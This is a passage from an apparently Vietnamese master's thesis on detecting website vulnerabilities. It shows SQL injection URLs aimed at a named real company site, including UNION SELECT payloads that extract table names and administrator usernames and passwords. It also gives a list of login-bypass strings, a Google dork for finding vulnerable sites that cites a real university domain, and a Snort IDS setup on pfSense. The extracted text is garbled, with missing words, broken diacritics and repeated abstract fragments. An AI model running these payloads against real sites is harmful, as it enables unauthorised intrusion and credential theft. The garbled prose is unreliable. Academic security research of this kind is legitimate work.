lỗi trang web có tổn thương SQL Injection Bước 3: Thực dùng câu lệnh truy vấn SQL để thực công trang website địa trình duyệt web bất kỳ: (1) Thực thêm order by đằng sau đuôi trang website để kiểm tra xem web có bảng kết nối sở liệu SQL: http://www.nhuaphucthinh.com.vn/product.php?id=20 order by 11 (2) Sau biết dị xác số bảng sở liệu SQL ta truy cập vào để biết bảng bị lỗi, từ thực cơng vào bảng bị lỗi: 19 http://www.nhuaphucthinh.com.vn/product.php?id=-20 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11 http://www.nhuaphucthinh.com.vn/product.php?id=-20 UNION SELECT 1,2,group_concat(database()),4,5,6,7,8,9,10,11 http://www.nhuaphucthinh.com.vn/product.php?id=-20 UNION SELECT 1,2,group_concat(user()),4,5,6,7,8,9,10,11 http://www.nhuaphucthinh.com.vn/product.php?id=-20 UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database() http://www.nhuaphucthinh.com.vn/product.php?id=-20 UNION SELECT 1,2,group_concat(AdmUsername,0x7c,AdmPassword),4,5,6,7,8,9,10,11 from administrator 3.4.3 Đánh giá kết thử nghiệm Với phương pháp sử dụng kỹ thuật công SQL Injection này, tác giả mong muốn thực trang web kiểm tra xem trang web có lỗ hổng bảo mật sở liệu hay không, lỗi trang web hay gặp phải số lỗi sau: ('admin'or 1=1 or ''='", "'=1\' or \'1\' = \'1\'", "'or 1=1", "'1 'or' '=' 1", "'or 1=1#", "'0 'or' '=' 0", "'admin'or 1=1 or ''='", "'admin' or 1=1", "'admin' or '1'='1", "'or 1=1/*", "'or 1=1 ") Tất lỗi dễ hacker dùng kĩ thuật khai thác vào hệ thống được, thông qua lỗi trên, quản trị biết có hướng khắc phục 3.5 Kịch thử nghiệm 4: Thử nghiệm kiểm tra lỗi trang website phương pháp Google Hacking 3.5.1 Bài tốn thử nghiệm Mục đích toán lợi dụng vào máy tình kiếm Google để truy tìm tơng tích đối tượng, dùng Google để công hệ thống Với khả tìm kiếm lợi hại Google, người cơng có thề tìm thấy nhiều thơng tin hữu ích, cho trình theo dõi mục tiêu cơng vào đối tượng Kết tìm lỗ hổng Server: Lỗi phiên bản, bug, … Các thông tin nhạy cảm từ thông báo đưa ra, File chứa mật khẩu, Thư mục nhạy cảm: thư mục chứa code lỗi, …Trang đăng nhập vào hệ thống, Trang chứa thơng tin cấu hình mạng, firewall log firewall, …Xây dựng bước để thử nghiệm: Bước 1: Nghiên cứu từ khóa kết hợp từ khóa để thực cơng 20 Bước 2: Sử dụng trang website google.com.vn để thực tìm kiếm từ khóa xác định Bước 3: Tìm website bị dính lỗi có khả truy cập khai thác thông tin sau sử dụng từ khóa đặc biệt tìm kiếm trang google.com.vn 3.5.2 Kết thử nghiệm Dùng trang Google.com.vn để thực khai thác công vào trang website bị lỗi với cú pháp câu lệnh kết hợp Cụ thể thực nghiệm này, tác giả dùng câu lệnh để khai thác website lỗi có truy xuất hình ảnh: inurl:"index.php?option=com_media" site: tên miền Hình 3.12: Hiển thị trang website bị lỗi truy xuất hình ảnh Với thay đổi tên miền, ta liệt kê nhiều trang website bị lỗi Nếu mở trang web http://www.htu.edu.vn Hình 3.12 sau: 3.5.3 Đánh giá kết thử nghiệm Với phương pháp Google Hacking, dùng trang web google.com.vn để thực truy vấn trang website bị lỗi, ta dễ dàng khai thác số lỗ hổng bảo mật web website có truy xuất hình ảnh truy cập trực tiếp vào sở liệu hệ thống lấy thông tin cần thiết Với tiếp cận người cơng dễ dàng thực yêu cầu từ lỗi website Do đó, Google cơng cụ tìm kiếm mạnh mẽ mà trở thành cơng cụ công Hacker 3.6 Kịch thử nghiệm 5: Thử nghiệm đề xuất hệ thống IDS sử dụng Snort 21 3.6.1 Bài toán thử nghiệm Trong mục luận văn đề xuất mơ hình hệ thống IDS sử dụng Snort để phát lỗ hổng bảo mật cho hệ thống Website dựa phát xâm nhập mạng Mơ hình thử nghiệm trình bày hình 3.15 Hình 3.15: Mơ hình thử nghiệm hệ thống IDS sử dụng Snort Trong mơ hình trên, hacker cơng từ bên ngồi vào trước tiên chúng phải qua hệ thống phân tích gói tin IDS Khi hệ thống IDS hoạt động có phản ứng phù hợp với tình bị công vào lỗ hổng bảo mật Website Xây dựng bước thực thử nghiệm sau: Bước 1: Cài đặt mã nguồn mở Pfsense hệ điều hành Linux Bước 2: Cài đặt thiết lập cấu hình mã nguồn mở Snort để thực giám sát ngăn chặn truy cập mạng trái phép Bước 3: Cấu hình xây dựng luật (ruler) Snort 3.6.2 Kết thử nghiệm Quá trình thử nghiệm cài đặt dựa theo tài liệu hướng dẫn công cụ Pfsense [15] Bước 1: Vào menu System => Packages, Chọn thẻ Available Packages => tìm mục Snort click vào dấu cộng Sau cài đặt xong qua thẻ Installed Packages thấy gói snort có Bước 2: Cấu hình Snort Vào Services => Snort Bước 3: Trên giao diện Snort, chọn tab Global Settings Tại thiết lập sử dụng Rules Snort có loại Rules: Snort VRT, Snort Comminity Snort Subscribe Bước 4: Cài đặt Rules Chọn tab Update để tải Rules 22 Bước 5: Thiết laapk giao diện Snort Sau bước cài đặt rule xong, quay lại tab Snort Interfaces => thiết lập Snort cho Interface cách click “+” Kết thử nghiệm: Sau giả lập truy cập vào hệ thống Website, hệ thống Snort đưa kết mô tả cảnh báo hình 3.21 Hình 3.21: Kết thực Snort 3.6.3 Đánh giá kết thử nghiệm Luận văn tiến hành cài đặt Snot Pfsense thiết lập rules Snot nhằm giả lập hệ thống IDS giúp hệ thống phát xâm nhập, công trái phép Kết cần đạt: Hệ thống với Snot giúp hệ thống phát xâm nhập, công trái phép, ngăn chặn chúng, đồng thời gửi báo cáo giúp nhận biết triển khai phương án phòng chống hiệu 3.7 Kết luận chương Trong chương luận văn tiến hành năm kịch thử nghiệm mô giải pháp phát lỗ hổng bảo mật hệ thống Website Các kết thử nghiệm cho thấy giải pháp phát lỗ hổng bảo mật đề xuất triển khai thực tế phù hợp với yêu cầu đề 23 KẾT LUẬN Các kết đạt luận văn: Với mục tiêu nghiên cứu giải pháp phát lỗ hổng bảo mật WEB thử nghiệm, luận văn đạt số kết sau đây: - Nghiên cứu tổng quan công nghệ Web vấn đề liên quan - Nghiên cứu tổng quan công lỗ hổng bảo mật WEB - Nghiên cứu đề xuất mơ hình tổng qt phát lỗ hổng bảo mật WEB - Nghiên cứu ba giải pháp phát lỗ hổng bảo mật WEB vấn đề liên quan - Xây dựng tiến hành năm kịch thử nghiêm phát lỗ hổng bảo mật WEB Hướng phát triển tiếp theo: - Thực xây dựng số chương trình có khả phát lỗ hổng trang web viết ngơn ngữ lập trình ASP.NET - Xây dựng hệ thống dị quét lỗ hổng bảo mật phân tích lỗ hổng chi tiết nhằm hỗ trợ cho bảo đảm an toàn hệ thống Website ... công cụ phát lỗ hổng bảo mật Website để đảm bảo an toàn Website trình cung cấp dịch vụ WEB Mục đích nghiên cứu Mục đích nghiên cứu luận văn nghiên cứu phát lỗ hổng bảo mật website thử nghiệm số... Nghiên cứu đề xuất mơ hình tổng qt phát lỗ hổng bảo mật WEB - Nghiên cứu ba giải pháp phát lỗ hổng bảo mật WEB vấn đề liên quan - Xây dựng tiến hành năm kịch thử nghiêm phát lỗ hổng bảo mật WEB. .. pháp phát lỗ hổng bảo mật website thường gặp Đối tượng phạm vi nghiên cứu Đối tượng phạm vi nghiên cứu luận văn nghiên cứu giải pháp công cụ phát lỗ hổng bảo mật website Phương pháp nghiên cứu

Ngày đăng: 19/03/2021, 18:02

Từ khóa liên quan

Tài liệu cùng người dùng

Tài liệu liên quan